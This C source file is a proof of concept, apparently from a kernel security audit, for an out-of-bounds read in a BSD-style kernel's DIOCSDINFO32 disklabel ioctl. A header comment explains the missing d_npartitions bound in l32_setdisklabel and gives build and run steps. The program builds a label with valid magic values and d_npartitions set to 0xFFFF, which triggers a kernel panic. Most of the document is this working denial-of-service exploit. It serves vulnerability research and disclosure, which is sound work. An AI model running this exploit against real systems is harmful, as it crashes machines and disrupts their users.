/*
 * DF-0107 - dkcksum32 OOB read via DIOCSDINFO32 with crafted d_npartitions
 *
 * Root-cause: l32_setdisklabel() (sys/kern/subr_disklabel32.c:264-265) calls
 *   dkcksum32(nlp) WITHOUT first checking nlp->d_npartitions <= MAXPARTITIONS32.
 * The read path l32_readdisklabel() (subr_disklabel32.c:225-226) DOES guard.
 * dkcksum32() (sys/sys/disklabel32.h:150-161) computes its end pointer from
 *   d_npartitions and XOR-walks u_int16_t's until it reaches that end:
 *
 *     end = (u_int16_t *)&lp->d_partitions[lp->d_npartitions];   // UNBOUNDED
 *
 * With d_npartitions = 0xFFFF, end lands ~1 MiB past the label buffer
 * (0xFFFF * 16 bytes/partition = 1048560 bytes), so the kernel walks through
 * unrelated kernel memory until it faults an unmapped page => fatal trap 12.
 *
 * Trigger: open a disk-slice device node O_RDWR (requires root / operator),
 * issue DIOCSDINFO32 with a label whose d_magic == d_magic2 == DISKMAGIC32 and
 * d_npartitions = 0xFFFF.  The setdisklabel check short-circuits past the two
 * magic comparisons and evaluates dkcksum32(nlp), which performs the OOB walk.
 *
 * Build:  cc -o poc_diocsdinfo poc_diocsdinfo.c
 * Run:    ./poc_diocsdinfo /dev/vn0s0      (as root; device must be a slice
 *                                          that is not the whole-disk slice,
 *                                          opened writable)
 *
 * Expected on vulnerable kernel:
 *   Fatal trap 12: page fault while in kernel mode
 *   fault virtual address = 0x... (well past the label buffer)
 *   panic: page fault
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/disklabel32.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
    struct disklabel32 label;
    const char *dev;
    int fd, r;

    if (argc != 2) {
        fprintf(stderr, "usage: %s <slice-device>\n", argv[0]);
        fprintf(stderr, "  e.g. %s /dev/vn0s0  (must be writable by you)\n",
                argv[0]);
        return 2;
    }
    dev = argv[1];

    /*
     * Craft the malicious label.  Only the two magic fields must be correct so
     * the (d_magic || d_magic2 || dkcksum32) check reaches the dkcksum32 term;
     * d_npartitions is what makes dkcksum32 walk out of bounds.
     */
    memset(&label, 0, sizeof(label));
    label.d_magic  = DISKMAGIC32;
    label.d_magic2 = DISKMAGIC32;
    label.d_npartitions = 0xFFFF;        /* << the trigger: ~1 MiB OOB walk */
    /* secsize/geometry/checksum left zero; irrelevant -- the panic is inside
       dkcksum32 before the resulting checksum is ever compared. */

    fd = open(dev, O_RDWR);
    if (fd < 0)
        err(1, "open %s", dev);

    printf("[*] %s: issuing DIOCSDINFO32 with d_npartitions=0x%x\n",
           dev, label.d_npartitions);
    fflush(stdout);

    r = ioctl(fd, DIOCSDINFO32, &label);
    if (r < 0)
        warn("DIOCSDINFO32 ioctl returned (kernel NOT panicked)");
    else
        printf("[!] DIOCSDINFO32 succeeded unexpectedly (r=%d)\n", r);

    close(fd);
    return 0;
}
